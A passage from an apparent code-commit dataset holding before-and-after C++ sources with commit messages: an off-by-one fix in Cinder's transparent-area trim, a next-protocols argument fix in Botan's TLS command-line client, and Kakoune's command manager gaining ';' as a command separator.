{\n number_min,\n Calling::function, {2, true}}},\n\n {\"+\", {\n number_plus,\n Calling::function, {0, true}}}\n};\n\n} \/\/namespace\n\nvoid install_builtin_numeric(){\n for(auto& e : builtin_numeric){\n VM.set(intern(VM.symtable, e.name), {&e.func});\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n Copyright (c) 2010, The Barbarian Group\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list of conditions and\n\tthe following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n\tthe following disclaimer in the documentation and\/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"cinder\/ip\/Trim.h\"\n\nnamespace cinder { namespace ip {\n\ntemplate<typename T>\nbool transparentHorizontalScanline( const SurfaceT<T> &surface, int32_t row, int32_t x1, int32_t x2 )\n{\n\tconst T *dstPtr = surface.getDataAlpha( Vec2i( x1, row ) );\n\tuint8_t inc = surface.getPixelInc();\n\tfor( int32_t x = x1; x < x2; ++x ) {\n\t\tif( *dstPtr ) return false;\n\t\tdstPtr += inc;\n\t}\n\treturn true;\n}\n\ntemplate<typename T>\nbool transparentVerticalScanline( const SurfaceT<T> &surface, int32_t column, int32_t y1, int32_t y2 )\n{\n\tconst T *dstPtr = surface.getDataAlpha( Vec2i( column, y1 ) );\n\tint32_t rowBytes = surface.getRowBytes();\n\tfor( int32_t y = y1; y < y2; ++y ) {\n\t\tif( *dstPtr ) return false;\n\t\tdstPtr += rowBytes;\n\t}\n\treturn true;\n}\n\ntemplate<typename T>\nArea findNonTransparentArea( const SurfaceT<T> &surface, const Area &unclippedBounds )\n{\n\tconst Area bounds = unclippedBounds.getClipBy( surface.getBounds() );\n\t\/\/ if no alpha we'll fail over the to alpha-less fill\n\tif( ! surface.hasAlpha() ) {\n\t\treturn surface.getBounds();\n\t}\n\t\n\tint32_t topLine, bottomLine;\n\tint32_t leftColumn, rightColumn;\n\t\/\/ find the top and bottom lines\n\tfor( topLine = bounds.getY1(); topLine < bounds.getY2(); ++topLine ) {\n\t\tif( ! transparentHorizontalScanline( surface, topLine, bounds.getX1(), bounds.getX2() ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tfor( bottomLine = bounds.getY2() - 1; bottomLine > topLine; --bottomLine ) {\n\t\tif( ! transparentHorizontalScanline( surface, bottomLine, bounds.getX1(), bounds.getX2() ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t\/\/ find the left and right columns\n\tfor( leftColumn = bounds.getX1(); leftColumn < bounds.getX2(); ++leftColumn ) {\n\t\tif( ! transparentVerticalScanline( surface, leftColumn, topLine, bottomLine ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tfor( rightColumn = bounds.getX2(); rightColumn > leftColumn; --rightColumn ) {\n\t\tif( ! transparentVerticalScanline( surface, rightColumn, topLine, bottomLine ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\t\t\n\treturn Area( leftColumn, topLine, rightColumn, bottomLine );\n}\n\n#define TRIM_PROTOTYPES(r,data,T)\\\n\ttemplate Area findNonTransparentArea( const SurfaceT<T> &surface, const Area &unclippedBounds );\n\nBOOST_PP_SEQ_FOR_EACH( TRIM_PROTOTYPES, ~, CHANNEL_TYPES )\n\n} } \/\/ namespace cinder::ip\n<commit_msg>Fixing off-by-one on right\/bottom for ip::findNonTransparentArea<commit_after>\/*\n Copyright (c) 2010, The Barbarian Group\n All rights reserved.\n\n Redistribution and use in source and binary forms, with or without modification, are permitted provided that\n the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this list of conditions and\n\tthe following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and\n\tthe following disclaimer in the documentation and\/or other materials provided with the distribution.\n\n THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED\n WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A\n PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n POSSIBILITY OF SUCH DAMAGE.\n*\/\n\n#include \"cinder\/ip\/Trim.h\"\n\nnamespace cinder { namespace ip {\n\ntemplate<typename T>\nbool transparentHorizontalScanline( const SurfaceT<T> &surface, int32_t row, int32_t x1, int32_t x2 )\n{\n\tconst T *dstPtr = surface.getDataAlpha( Vec2i( x1, row ) );\n\tuint8_t inc = surface.getPixelInc();\n\tfor( int32_t x = x1; x < x2; ++x ) {\n\t\tif( *dstPtr ) return false;\n\t\tdstPtr += inc;\n\t}\n\treturn true;\n}\n\ntemplate<typename T>\nbool transparentVerticalScanline( const SurfaceT<T> &surface, int32_t column, int32_t y1, int32_t y2 )\n{\n\tconst T *dstPtr = surface.getDataAlpha( Vec2i( column, y1 ) );\n\tint32_t rowBytes = surface.getRowBytes();\n\tfor( int32_t y = y1; y < y2; ++y ) {\n\t\tif( *dstPtr ) return false;\n\t\tdstPtr += rowBytes;\n\t}\n\treturn true;\n}\n\ntemplate<typename T>\nArea findNonTransparentArea( const SurfaceT<T> &surface, const Area &unclippedBounds )\n{\n\tconst Area bounds = unclippedBounds.getClipBy( surface.getBounds() );\n\t\/\/ if no alpha we'll fail over the to alpha-less fill\n\tif( ! surface.hasAlpha() ) {\n\t\treturn surface.getBounds();\n\t}\n\t\n\tint32_t topLine, bottomLine;\n\tint32_t leftColumn, rightColumn;\n\t\/\/ find the top and bottom lines\n\tfor( topLine = bounds.getY1(); topLine < bounds.getY2(); ++topLine ) {\n\t\tif( ! transparentHorizontalScanline( surface, topLine, bounds.getX1(), bounds.getX2() ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tfor( bottomLine = bounds.getY2() - 1; bottomLine > topLine; --bottomLine ) {\n\t\tif( ! transparentHorizontalScanline( surface, bottomLine, bounds.getX1(), bounds.getX2() ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t\/\/ find the left and right columns\n\tfor( leftColumn = bounds.getX1(); leftColumn < bounds.getX2(); ++leftColumn ) {\n\t\tif( ! transparentVerticalScanline( surface, leftColumn, topLine, bottomLine ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tfor( rightColumn = bounds.getX2(); rightColumn > leftColumn; --rightColumn ) {\n\t\tif( ! transparentVerticalScanline( surface, rightColumn, topLine, bottomLine ) ) {\n\t\t\tbreak;\n\t\t}\n\t}\n\t\n\t\/\/ we add one to right and bottom because Area represents an inclusive range on top\/left and exclusive range on bottom\/right\n\treturn Area( leftColumn, topLine, rightColumn + 1, bottomLine + 1 );\n}\n\n#define TRIM_PROTOTYPES(r,data,T)\\\n\ttemplate Area findNonTransparentArea( const SurfaceT<T> &surface, const Area &unclippedBounds );\n\nBOOST_PP_SEQ_FOR_EACH( TRIM_PROTOTYPES, ~, CHANNEL_TYPES )\n\n} } \/\/ namespace cinder::ip\n<|endoftext|>"} {"text":"<commit_before>\/*\n* (C) 2014,2015 Jack Lloyd\n* 2016 Matthias Gierlings\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#include \"cli.h\"\n\n#if defined(BOTAN_HAS_TLS) && defined(BOTAN_TARGET_OS_HAS_SOCKETS)\n\n#include <botan\/tls_client.h>\n#include <botan\/hex.h>\n\n#if defined(BOTAN_HAS_TLS_SQLITE3_SESSION_MANAGER)\n#include <botan\/tls_session_manager_sqlite.h>\n#endif\n\n#include <string>\n#include <memory>\n\n#include <sys\/types.h>\n#include <sys\/time.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <errno.h>\n#include <fcntl.h>\n\n#if !defined(MSG_NOSIGNAL)\n #define MSG_NOSIGNAL 0\n#endif\n\n#include \"credentials.h\"\n\nnamespace Botan_CLI {\n\nclass TLS_Client final : public Command, public Botan::TLS::Callbacks\n {\n public:\n TLS_Client() : Command(\"tls_client host --port=443 --print-certs --policy= \"\n \"--tls1.0 --tls1.1 --tls1.2 \"\n \"--session-db= --session-db-pass= --next-protocols= --type=tcp\") {}\n\n void go() override\n {\n \/\/ TODO client cert auth\n\n std::unique_ptr<Botan::TLS::Session_Manager> session_mgr;\n\n const std::string sessions_db = get_arg(\"session-db\");\n\n if(!sessions_db.empty())\n {\n#if defined(BOTAN_HAS_TLS_SQLITE3_SESSION_MANAGER)\n const std::string sessions_passphrase = get_arg(\"session-db-pass\");\n session_mgr.reset(new Botan::TLS::Session_Manager_SQLite(sessions_passphrase, rng(), sessions_db));\n#else\n error_output() << \"Ignoring session DB file, sqlite not enabled\\n\";\n#endif\n }\n\n if(!session_mgr)\n {\n session_mgr.reset(new Botan::TLS::Session_Manager_In_Memory(rng()));\n }\n\n std::string policy_file = get_arg(\"policy\");\n\n std::unique_ptr<Botan::TLS::Policy> policy;\n\n if(policy_file.size() > 0)\n {\n std::ifstream policy_stream(policy_file);\n if(!policy_stream.good())\n {\n error_output() << \"Failed reading policy file\\n\";\n return;\n }\n policy.reset(new Botan::TLS::Text_Policy(policy_stream));\n }\n\n if(!policy)\n {\n policy.reset(new Botan::TLS::Policy);\n }\n\n Basic_Credentials_Manager creds;\n\n const std::string host = get_arg(\"host\");\n const uint16_t port = get_arg_sz(\"port\");\n const std::string transport = get_arg(\"type\");\n\n if(transport != \"tcp\" && transport != \"udp\")\n throw CLI_Usage_Error(\"Invalid transport type '\" + transport + \"' for TLS\");\n\n const bool use_tcp = (transport == \"tcp\");\n\n const std::vector<std::string> protocols_to_offer = Botan::split_on(\"next-protocols\", ',');\n\n m_sockfd = connect_to_host(host, port, use_tcp);\n\n using namespace std::placeholders;\n\n auto version = policy->latest_supported_version(!use_tcp);\n\n if(flag_set(\"tls1.0\"))\n {\n version = Botan::TLS::Protocol_Version::TLS_V10;\n }\n else if(flag_set(\"tls1.1\"))\n {\n version = Botan::TLS::Protocol_Version::TLS_V11;\n }\n\n Botan::TLS::Client client(*this,\n *session_mgr,\n creds,\n *policy,\n rng(),\n Botan::TLS::Server_Information(host, port),\n version,\n protocols_to_offer);\n\n bool first_active = true;\n\n while(!client.is_closed())\n {\n fd_set readfds;\n FD_ZERO(&readfds);\n FD_SET(m_sockfd, &readfds);\n\n if(client.is_active())\n {\n FD_SET(STDIN_FILENO, &readfds);\n if(first_active && !protocols_to_offer.empty())\n {\n std::string app = client.application_protocol();\n if(app != \"\")\n output() << \"Server choose protocol: \" << client.application_protocol() << \"\\n\";\n first_active = false;\n }\n }\n\n struct timeval timeout = { 1, 0 };\n\n ::select(m_sockfd + 1, &readfds, nullptr, nullptr, &timeout);\n\n if(FD_ISSET(m_sockfd, &readfds))\n {\n uint8_t buf[4*1024] = { 0 };\n\n ssize_t got = ::read(m_sockfd, buf, sizeof(buf));\n\n if(got == 0)\n {\n output() << \"EOF on socket\\n\";\n break;\n }\n else if(got == -1)\n {\n output() << \"Socket error: \" << errno << \" \" << strerror(errno) << \"\\n\";\n continue;\n }\n\n client.received_data(buf, got);\n }\n\n if(FD_ISSET(STDIN_FILENO, &readfds))\n {\n uint8_t buf[1024] = { 0 };\n ssize_t got = read(STDIN_FILENO, buf, sizeof(buf));\n\n if(got == 0)\n {\n output() << \"EOF on stdin\\n\";\n client.close();\n break;\n }\n else if(got == -1)\n {\n output() << \"Stdin error: \" << errno << \" \" << strerror(errno) << \"\\n\";\n continue;\n }\n\n if(got == 2 && buf[1] == '\\n')\n {\n char cmd = buf[0];\n\n if(cmd == 'R' || cmd == 'r')\n {\n output() << \"Client initiated renegotiation\\n\";\n client.renegotiate(cmd == 'R');\n }\n else if(cmd == 'Q')\n {\n output() << \"Client initiated close\\n\";\n client.close();\n }\n }\n else\n client.send(buf, got);\n }\n\n if(client.timeout_check())\n {\n output() << \"Timeout detected\\n\";\n }\n }\n\n ::close(m_sockfd);\n }\n\n private:\n int connect_to_host(const std::string& host, uint16_t port, bool tcp)\n {\n hostent* host_addr = ::gethostbyname(host.c_str());\n\n if(!host_addr)\n throw CLI_Error(\"gethostbyname failed for \" + host);\n\n if(host_addr->h_addrtype != AF_INET) \/\/ FIXME\n throw CLI_Error(host + \" has IPv6 address, not supported\");\n\n int type = tcp ? SOCK_STREAM : SOCK_DGRAM;\n\n int fd = ::socket(PF_INET, type, 0);\n if(fd == -1)\n throw CLI_Error(\"Unable to acquire socket\");\n\n sockaddr_in socket_info;\n ::memset(&socket_info, 0, sizeof(socket_info));\n socket_info.sin_family = AF_INET;\n socket_info.sin_port = htons(port);\n\n ::memcpy(&socket_info.sin_addr,\n host_addr->h_addr,\n host_addr->h_length);\n\n socket_info.sin_addr = *reinterpret_cast<struct in_addr*>(host_addr->h_addr); \/\/ FIXME\n\n if(::connect(fd, reinterpret_cast<sockaddr*>(&socket_info), sizeof(struct sockaddr)) != 0)\n {\n ::close(fd);\n throw CLI_Error(\"connect failed\");\n }\n\n return fd;\n }\n\n bool tls_session_established(const Botan::TLS::Session& session) override\n {\n output() << \"Handshake complete, \" << session.version().to_string()\n << \" using \" << session.ciphersuite().to_string() << \"\\n\";\n\n if(!session.session_id().empty())\n output() << \"Session ID \" << Botan::hex_encode(session.session_id()) << \"\\n\";\n\n if(!session.session_ticket().empty())\n output() << \"Session ticket \" << Botan::hex_encode(session.session_ticket()) << \"\\n\";\n\n if(flag_set(\"print-certs\"))\n {\n const std::vector<Botan::X509_Certificate>& certs = session.peer_certs();\n\n for(size_t i = 0; i != certs.size(); ++i)\n {\n output() << \"Certificate \" << i+1 << \"\/\" << certs.size() << \"\\n\";\n output() << certs[i].to_string();\n output() << certs[i].PEM_encode();\n }\n }\n\n return true;\n }\n\n static void dgram_socket_write(int sockfd, const uint8_t buf[], size_t length)\n {\n int r = send(sockfd, buf, length, MSG_NOSIGNAL);\n\n if(r == -1)\n throw CLI_Error(\"Socket write failed errno=\" + std::to_string(errno));\n }\n\n void tls_emit_data(const uint8_t buf[], size_t length) override\n {\n size_t offset = 0;\n\n while(length)\n {\n ssize_t sent = ::send(m_sockfd, buf + offset, length, MSG_NOSIGNAL);\n\n if(sent == -1)\n {\n if(errno == EINTR)\n sent = 0;\n else\n throw CLI_Error(\"Socket write failed errno=\" + std::to_string(errno));\n }\n\n offset += sent;\n length -= sent;\n }\n }\n\n void tls_alert(Botan::TLS::Alert alert) override\n {\n output() << \"Alert: \" << alert.type_string() << \"\\n\";\n }\n\n void tls_record_received(uint64_t \/*seq_no*\/, const uint8_t buf[], size_t buf_size) override\n {\n for(size_t i = 0; i != buf_size; ++i)\n output() << buf[i];\n }\n\n private:\n int m_sockfd = -1;\n };\n\nBOTAN_REGISTER_COMMAND(\"tls_client\", TLS_Client);\n\n}\n\n#endif\n<commit_msg>Fix TLS client next protocol handling<commit_after>\/*\n* (C) 2014,2015 Jack Lloyd\n* 2016 Matthias Gierlings\n*\n* Botan is released under the Simplified BSD License (see license.txt)\n*\/\n\n#include \"cli.h\"\n\n#if defined(BOTAN_HAS_TLS) && defined(BOTAN_TARGET_OS_HAS_SOCKETS)\n\n#include <botan\/tls_client.h>\n#include <botan\/hex.h>\n\n#if defined(BOTAN_HAS_TLS_SQLITE3_SESSION_MANAGER)\n#include <botan\/tls_session_manager_sqlite.h>\n#endif\n\n#include <string>\n#include <memory>\n\n#include <sys\/types.h>\n#include <sys\/time.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <netdb.h>\n#include <unistd.h>\n#include <errno.h>\n#include <fcntl.h>\n\n#if !defined(MSG_NOSIGNAL)\n #define MSG_NOSIGNAL 0\n#endif\n\n#include \"credentials.h\"\n\nnamespace Botan_CLI {\n\nclass TLS_Client final : public Command, public Botan::TLS::Callbacks\n {\n public:\n TLS_Client() : Command(\"tls_client host --port=443 --print-certs --policy= \"\n \"--tls1.0 --tls1.1 --tls1.2 \"\n \"--session-db= --session-db-pass= --next-protocols= --type=tcp\") {}\n\n void go() override\n {\n \/\/ TODO client cert auth\n\n std::unique_ptr<Botan::TLS::Session_Manager> session_mgr;\n\n const std::string sessions_db = get_arg(\"session-db\");\n\n if(!sessions_db.empty())\n {\n#if defined(BOTAN_HAS_TLS_SQLITE3_SESSION_MANAGER)\n const std::string sessions_passphrase = get_arg(\"session-db-pass\");\n session_mgr.reset(new Botan::TLS::Session_Manager_SQLite(sessions_passphrase, rng(), sessions_db));\n#else\n error_output() << \"Ignoring session DB file, sqlite not enabled\\n\";\n#endif\n }\n\n if(!session_mgr)\n {\n session_mgr.reset(new Botan::TLS::Session_Manager_In_Memory(rng()));\n }\n\n std::string policy_file = get_arg(\"policy\");\n\n std::unique_ptr<Botan::TLS::Policy> policy;\n\n if(policy_file.size() > 0)\n {\n std::ifstream policy_stream(policy_file);\n if(!policy_stream.good())\n {\n error_output() << \"Failed reading policy file\\n\";\n return;\n }\n policy.reset(new Botan::TLS::Text_Policy(policy_stream));\n }\n\n if(!policy)\n {\n policy.reset(new Botan::TLS::Policy);\n }\n\n Basic_Credentials_Manager creds;\n\n const std::string host = get_arg(\"host\");\n const uint16_t port = get_arg_sz(\"port\");\n const std::string transport = get_arg(\"type\");\n const std::string next_protos = get_arg(\"next-protocols\");\n\n if(transport != \"tcp\" && transport != \"udp\")\n throw CLI_Usage_Error(\"Invalid transport type '\" + transport + \"' for TLS\");\n\n const bool use_tcp = (transport == \"tcp\");\n\n const std::vector<std::string> protocols_to_offer = Botan::split_on(next_protos, ',');\n\n m_sockfd = connect_to_host(host, port, use_tcp);\n\n using namespace std::placeholders;\n\n auto version = policy->latest_supported_version(!use_tcp);\n\n if(flag_set(\"tls1.0\"))\n {\n version = Botan::TLS::Protocol_Version::TLS_V10;\n }\n else if(flag_set(\"tls1.1\"))\n {\n version = Botan::TLS::Protocol_Version::TLS_V11;\n }\n\n Botan::TLS::Client client(*this,\n *session_mgr,\n creds,\n *policy,\n rng(),\n Botan::TLS::Server_Information(host, port),\n version,\n protocols_to_offer);\n\n bool first_active = true;\n\n while(!client.is_closed())\n {\n fd_set readfds;\n FD_ZERO(&readfds);\n FD_SET(m_sockfd, &readfds);\n\n if(client.is_active())\n {\n FD_SET(STDIN_FILENO, &readfds);\n if(first_active && !protocols_to_offer.empty())\n {\n std::string app = client.application_protocol();\n if(app != \"\")\n output() << \"Server choose protocol: \" << client.application_protocol() << \"\\n\";\n first_active = false;\n }\n }\n\n struct timeval timeout = { 1, 0 };\n\n ::select(m_sockfd + 1, &readfds, nullptr, nullptr, &timeout);\n\n if(FD_ISSET(m_sockfd, &readfds))\n {\n uint8_t buf[4*1024] = { 0 };\n\n ssize_t got = ::read(m_sockfd, buf, sizeof(buf));\n\n if(got == 0)\n {\n output() << \"EOF on socket\\n\";\n break;\n }\n else if(got == -1)\n {\n output() << \"Socket error: \" << errno << \" \" << strerror(errno) << \"\\n\";\n continue;\n }\n\n client.received_data(buf, got);\n }\n\n if(FD_ISSET(STDIN_FILENO, &readfds))\n {\n uint8_t buf[1024] = { 0 };\n ssize_t got = read(STDIN_FILENO, buf, sizeof(buf));\n\n if(got == 0)\n {\n output() << \"EOF on stdin\\n\";\n client.close();\n break;\n }\n else if(got == -1)\n {\n output() << \"Stdin error: \" << errno << \" \" << strerror(errno) << \"\\n\";\n continue;\n }\n\n if(got == 2 && buf[1] == '\\n')\n {\n char cmd = buf[0];\n\n if(cmd == 'R' || cmd == 'r')\n {\n output() << \"Client initiated renegotiation\\n\";\n client.renegotiate(cmd == 'R');\n }\n else if(cmd == 'Q')\n {\n output() << \"Client initiated close\\n\";\n client.close();\n }\n }\n else\n client.send(buf, got);\n }\n\n if(client.timeout_check())\n {\n output() << \"Timeout detected\\n\";\n }\n }\n\n ::close(m_sockfd);\n }\n\n private:\n int connect_to_host(const std::string& host, uint16_t port, bool tcp)\n {\n hostent* host_addr = ::gethostbyname(host.c_str());\n\n if(!host_addr)\n throw CLI_Error(\"gethostbyname failed for \" + host);\n\n if(host_addr->h_addrtype != AF_INET) \/\/ FIXME\n throw CLI_Error(host + \" has IPv6 address, not supported\");\n\n int type = tcp ? SOCK_STREAM : SOCK_DGRAM;\n\n int fd = ::socket(PF_INET, type, 0);\n if(fd == -1)\n throw CLI_Error(\"Unable to acquire socket\");\n\n sockaddr_in socket_info;\n ::memset(&socket_info, 0, sizeof(socket_info));\n socket_info.sin_family = AF_INET;\n socket_info.sin_port = htons(port);\n\n ::memcpy(&socket_info.sin_addr,\n host_addr->h_addr,\n host_addr->h_length);\n\n socket_info.sin_addr = *reinterpret_cast<struct in_addr*>(host_addr->h_addr); \/\/ FIXME\n\n if(::connect(fd, reinterpret_cast<sockaddr*>(&socket_info), sizeof(struct sockaddr)) != 0)\n {\n ::close(fd);\n throw CLI_Error(\"connect failed\");\n }\n\n return fd;\n }\n\n bool tls_session_established(const Botan::TLS::Session& session) override\n {\n output() << \"Handshake complete, \" << session.version().to_string()\n << \" using \" << session.ciphersuite().to_string() << \"\\n\";\n\n if(!session.session_id().empty())\n output() << \"Session ID \" << Botan::hex_encode(session.session_id()) << \"\\n\";\n\n if(!session.session_ticket().empty())\n output() << \"Session ticket \" << Botan::hex_encode(session.session_ticket()) << \"\\n\";\n\n if(flag_set(\"print-certs\"))\n {\n const std::vector<Botan::X509_Certificate>& certs = session.peer_certs();\n\n for(size_t i = 0; i != certs.size(); ++i)\n {\n output() << \"Certificate \" << i+1 << \"\/\" << certs.size() << \"\\n\";\n output() << certs[i].to_string();\n output() << certs[i].PEM_encode();\n }\n }\n\n return true;\n }\n\n static void dgram_socket_write(int sockfd, const uint8_t buf[], size_t length)\n {\n int r = send(sockfd, buf, length, MSG_NOSIGNAL);\n\n if(r == -1)\n throw CLI_Error(\"Socket write failed errno=\" + std::to_string(errno));\n }\n\n void tls_emit_data(const uint8_t buf[], size_t length) override\n {\n size_t offset = 0;\n\n while(length)\n {\n ssize_t sent = ::send(m_sockfd, buf + offset, length, MSG_NOSIGNAL);\n\n if(sent == -1)\n {\n if(errno == EINTR)\n sent = 0;\n else\n throw CLI_Error(\"Socket write failed errno=\" + std::to_string(errno));\n }\n\n offset += sent;\n length -= sent;\n }\n }\n\n void tls_alert(Botan::TLS::Alert alert) override\n {\n output() << \"Alert: \" << alert.type_string() << \"\\n\";\n }\n\n void tls_record_received(uint64_t \/*seq_no*\/, const uint8_t buf[], size_t buf_size) override\n {\n for(size_t i = 0; i != buf_size; ++i)\n output() << buf[i];\n }\n\n private:\n int m_sockfd = -1;\n };\n\nBOTAN_REGISTER_COMMAND(\"tls_client\", TLS_Client);\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"command_manager.hh\"\n\n#include \"utils.hh\"\n#include \"assert.hh\"\n\n#include <algorithm>\n\nnamespace Kakoune\n{\n\nvoid CommandManager::register_command(const std::string& command_name, Command command,\n const CommandCompleter& completer)\n{\n m_commands[command_name] = CommandAndCompleter { command, completer };\n}\n\nvoid CommandManager::register_command(const std::vector<std::string>& command_names, Command command,\n const CommandCompleter& completer)\n{\n for (auto command_name : command_names)\n register_command(command_name, command, completer);\n}\n\ntypedef std::vector<std::pair<size_t, size_t>> TokenList;\nstatic TokenList split(const std::string& line)\n{\n TokenList result;\n\n size_t pos = 0;\n while (pos < line.length())\n {\n while(line[pos] == ' ' and pos != line.length())\n ++pos;\n\n char delimiter = ' ';\n if (line[pos] == '\"' or line[pos] == '\\'')\n {\n delimiter = line[pos];\n ++pos;\n }\n\n size_t token_start = pos;\n\n while ((line[pos] != delimiter or line[pos-1] == '\\\\') and\n pos != line.length())\n ++pos;\n\n result.push_back(std::make_pair(token_start, pos));\n\n ++pos;\n }\n return result;\n}\n\nstruct command_not_found : runtime_error\n{\n command_not_found(const std::string& command)\n : runtime_error(command + \" : no such command\") {}\n};\n\nvoid CommandManager::execute(const std::string& command_line,\n const Context& context)\n{\n TokenList tokens = split(command_line);\n if (tokens.empty())\n return;\n\n CommandParameters params;\n for (auto it = tokens.begin(); it != tokens.end(); ++it)\n {\n params.push_back(command_line.substr(it->first,\n it->second - it->first));\n }\n\n execute(params, context);\n}\n\nvoid CommandManager::execute(const CommandParameters& params,\n const Context& context)\n{\n if (params.empty())\n return;\n\n auto command_it = m_commands.find(params[0]);\n if (command_it == m_commands.end())\n throw command_not_found(params[0]);\n\n command_it->second.command(CommandParameters(params.begin() + 1, params.end()), context);\n}\n\nCompletions CommandManager::complete(const std::string& command_line, size_t cursor_pos)\n{\n TokenList tokens = split(command_line);\n\n size_t token_to_complete = tokens.size();\n for (size_t i = 0; i < tokens.size(); ++i)\n {\n if (tokens[i].first <= cursor_pos and tokens[i].second >= cursor_pos)\n {\n token_to_complete = i;\n break;\n }\n }\n\n if (token_to_complete == 0 or tokens.empty()) \/\/ command name completion\n {\n size_t cmd_start = tokens.empty() ? 0 : tokens[0].first;\n Completions result(cmd_start, cursor_pos);\n std::string prefix = command_line.substr(cmd_start,\n cursor_pos - cmd_start);\n\n for (auto& command : m_commands)\n {\n if (command.first.substr(0, prefix.length()) == prefix)\n result.candidates.push_back(command.first);\n }\n\n return result;\n }\n\n assert(not tokens.empty());\n std::string command_name =\n command_line.substr(tokens[0].first,\n tokens[0].second - tokens[0].first);\n\n auto command_it = m_commands.find(command_name);\n if (command_it == m_commands.end() or not command_it->second.completer)\n return Completions();\n\n CommandParameters params;\n for (auto it = tokens.begin() + 1; it != tokens.end(); ++it)\n {\n params.push_back(command_line.substr(it->first,\n it->second - it->first));\n }\n\n size_t start = token_to_complete < tokens.size() ?\n tokens[token_to_complete].first : cursor_pos;\n Completions result(start , cursor_pos);\n size_t cursor_pos_in_token = cursor_pos - start;\n\n result.candidates = command_it->second.completer(params,\n token_to_complete - 1,\n cursor_pos_in_token);\n return result;\n}\n\nCandidateList PerArgumentCommandCompleter::operator()(const CommandParameters& params,\n size_t token_to_complete,\n size_t pos_in_token) const\n{\n if (token_to_complete >= m_completers.size())\n return CandidateList();\n\n \/\/ it is possible to try to complete a new argument\n assert(token_to_complete <= params.size());\n\n const std::string& argument = token_to_complete < params.size() ?\n params[token_to_complete] : std::string();\n return m_completers[token_to_complete](argument, pos_in_token);\n}\n\n}\n<commit_msg>CommandManager: support ';' as a command separator<commit_after>#include \"command_manager.hh\"\n\n#include \"utils.hh\"\n#include \"assert.hh\"\n\n#include <algorithm>\n\nnamespace Kakoune\n{\n\nvoid CommandManager::register_command(const std::string& command_name, Command command,\n const CommandCompleter& completer)\n{\n m_commands[command_name] = CommandAndCompleter { command, completer };\n}\n\nvoid CommandManager::register_command(const std::vector<std::string>& command_names, Command command,\n const CommandCompleter& completer)\n{\n for (auto command_name : command_names)\n register_command(command_name, command, completer);\n}\n\ntypedef std::vector<std::pair<size_t, size_t>> TokenList;\nstatic TokenList split(const std::string& line)\n{\n TokenList result;\n\n size_t pos = 0;\n while (pos < line.length())\n {\n while(line[pos] == ' ' and pos != line.length())\n ++pos;\n\n char delimiter = ' ';\n if (line[pos] == '\"' or line[pos] == '\\'')\n {\n delimiter = line[pos];\n ++pos;\n }\n\n size_t token_start = pos;\n\n while (((line[pos] != delimiter and line[pos] != ';') or\n line[pos-1] == '\\\\') and pos != line.length())\n ++pos;\n\n result.push_back(std::make_pair(token_start, pos));\n\n if (line[pos] == ';')\n result.push_back(std::make_pair(pos, pos+1));\n\n ++pos;\n }\n return result;\n}\n\nstruct command_not_found : runtime_error\n{\n command_not_found(const std::string& command)\n : runtime_error(command + \" : no such command\") {}\n};\n\nvoid CommandManager::execute(const std::string& command_line,\n const Context& context)\n{\n TokenList tokens = split(command_line);\n if (tokens.empty())\n return;\n\n CommandParameters params;\n for (auto it = tokens.begin(); it != tokens.end(); ++it)\n {\n params.push_back(command_line.substr(it->first,\n it->second - it->first));\n }\n\n execute(params, context);\n}\n\nvoid CommandManager::execute(const CommandParameters& params,\n const Context& context)\n{\n if (params.empty())\n return;\n\n auto begin = params.begin();\n auto end = begin;\n while (true)\n {\n while (end != params.end() and *end != \";\")\n ++end;\n\n if (end != begin)\n {\n auto 